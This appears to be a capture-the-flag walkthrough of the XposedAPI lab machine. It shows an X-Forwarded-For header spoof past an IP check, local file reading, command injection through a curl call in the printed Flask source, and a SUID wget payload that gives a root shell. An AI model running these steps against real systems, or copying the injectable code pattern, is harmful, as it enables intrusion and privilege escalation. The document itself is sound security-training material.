XposedAPI
Introduction
In this walkthrough, we exploit the target by abusing an API functionality in a web application that lacks proper input validation. This flaw allows us to upload and execute a malicious binary, gaining initial access to the system. For privilege escalation, we take advantage of misconfigured SUID permissions on the wget
binary.
Nmap
TCP
Run a quick Nmap TCP scan:
1
sudo nmap -sV $IP --open
UDP
Check top 100 UDP ports:
1
sudo nmap -sU -F $IP
Full Port Scan
1
sudo nmap -sV -sC -p- $IP -Pn -n -v --open
Services
Port 22
Version - OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
We usually skip SSH.
Web
Port 13337
Version - Gunicorn 20.0.4
Version
Let’s intercept the request using BurpSuite and check for request methods provided in the website.
Some MD5 hash is also returned alongside with version number I tried to crack but unsuccessful, I am gonna put it inside loot.
Version - 1.0.0b
Logs
I checked
GET
/logs but it says WAF: Access Denied for this Host.Update
Content-Type: application/json {“user”:”
", "url":" "} I am gonna try to make Linux Executable and store in web server.
We should find a valid user.
Here I don’t have anything to proceed except for Gunicorn.
Exploitaiton
When we are encountered with something like WAF
when requesting the resource from the webserver always try to include X-Forwarded-For
header in headers and bypass it.
When someone visits a website, their request might go through a proxy or load balancer before reaching the actual server. In that case, the server usually only sees the IP address of the proxy, not the real user. To fix this, proxies often add a special HTTP header called
X-Forwarded-For
, which tells the server: this the IP address of the user requesting resource.
So I am gonna include X-Forwarded-For
header with localhost IP address to fool the server that request is actually coming from localhost.
It says we should include file=/path/to/file
, it just resembles LFI, so I tried and it really worked.
Now that we have a valid user I am gonna try the first thought about downloading our malicious file as an update to the server.
For now I didn’t get reverse shell:
Let’s try to restart the system. I tried doing that from browser but it didn’t work maybe we should try from Burp.
Now we have shell.
Loot
- Gunicorn 20.0.4
- 8f887f33975ead915f336f57f0657180 - hash returned checking version
- Logs WAF
Privilege Escalation
In the home directory of clumsyadmin
we have app
file this file is elf
file maybe it is the one that we uploaded
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python3
from flask import Flask, jsonify, request, render_template, Response
from Crypto.Hash import MD5
import json, os, binascii
app = Flask(__name__)
@app.route('/')
def home():
return(render_template("home.html"))
@app.route('/update', methods = ["POST"])
def update():
if request.headers['Content-Type'] != "application/json":
return("Invalid content type.")
else:
data = json.loads(request.data)
if data['user'] != "clumsyadmin":
return("Invalid username.")
else:
os.system("curl {} -o /home/clumsyadmin/app".format(data['url']))
return("Update requested by {}. Restart the software for changes to take effect.".format(data['user']))
@app.route('/logs')
def readlogs():
if request.headers.getlist("X-Forwarded-For"):
ip = request.headers.getlist("X-Forwarded-For")[0]
else:
ip = "1.3.3.7"
if ip == "localhost" or ip == "127.0.0.1":
if request.args.get("file") == None:
return("Error! No file specified. Use file=/path/to/log/file to access log files.", 404)
else:
data = ''
with open(request.args.get("file"), 'r') as f:
data = f.read()
f.close()
return(render_template("logs.html", data=data))
else:
return("WAF: Access Denied for this Host.",403)
@app.route('/version')
def version():
hasher = MD5.new()
appHash = ''
with open("/home/clumsyadmin/app", 'rb') as f:
d = f.read()
hasher.update(d)
appHash = binascii.hexlify(hasher.digest()).decode()
return("1.0.0b{}".format(appHash))
@app.route('/restart', methods = ["GET", "POST"])
def restart():
if request.method == "GET":
return(render_template("restart.html"))
else:
os.system("killall app")
os.system("bash -c '/home/clumsyadmin/app&'")
return("Restart Successful.")
Reading main.py
in webapp folder we ensured that it is.
I enumerated gunicorn files but didn’t find anything interesting.
- OSCP Checklist
- Situational awareness
- Exposed Confidential Information
- Password Authentication Abuse
- Hunting Sensitive Information
- Sudo
- SUID/SGID
- Capabilities
- Cron Jobs Abuse
- Kernel Exploits
- Check if sudoers file is writable
- Try credentials you already obtained for various services admin roles
I can’t see my sudo
privileges as I don’t have password for clumsyadmin, maybe we should look for it after checked SUID
binaries.
1
find / -perm -u=s -type f 2>/dev/null
1
2
3
4
TF=$(mktemp)
chmod +x $TF
echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >$TF
/usr/bin/wget --use-askpass=$TF 0
Now our effective ID is root.
Mitigation
- Restrict API functionalities and ensure proper authentication and validation on file uploads.
- Avoid granting SUID permissions to binaries like
wget
that can be misused to alter system-critical files. - Implement AppArmor/SELinux policies to control file access behavior of binaries.